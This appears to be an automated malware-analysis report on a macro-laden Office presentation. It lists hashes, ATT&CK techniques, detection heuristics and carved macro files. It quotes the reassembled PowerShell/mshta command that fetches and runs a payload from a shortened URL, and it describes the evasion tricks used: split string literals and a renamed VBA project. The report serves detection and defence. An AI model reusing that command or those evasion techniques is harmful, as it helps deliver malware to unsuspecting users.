Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ca6699cfbec09f25…

MALICIOUS

Office (OOXML)

7.1 KB
MD5: 3560b01948a36c52a33346e74fc95ec4 SHA-1: 389ae412abc98d58b872e9f83297048b99126ab5 SHA-256: ca6699cfbec09f25c1b6be8e5e4300a1a5b8268a95667b1f2085cd4b7ed66305
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing a VBA macro that is automatically executed upon opening (Auto_Open). The macro reassembles a PowerShell command from split string literals, specifically "powershell.exe -c \"cmd msgsbox/rm shtahttp://www.bitly.com/asdoaksdoasdoaaskdmsdokasdoaaskdmsdok\"". This command is designed to download and execute a payload from the provided URL. The obfuscation techniques used, such as splitting string literals and renaming VBA project parts, are common in malicious documents.

Heuristics 5

  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/kadoaksd.b)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
db9568918bac689b90e746b2b05598a9ed9aff6533bf6e6a375ccd3b0dc9f8af		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 908 bytes
vbaProject_00.bin
30759c46451469b42f754667935c9812cb864ea72364cb9779230fe103fc4c9d		 vba-project OOXML VBA project: ppt/kadoaksd.b 13824 bytes

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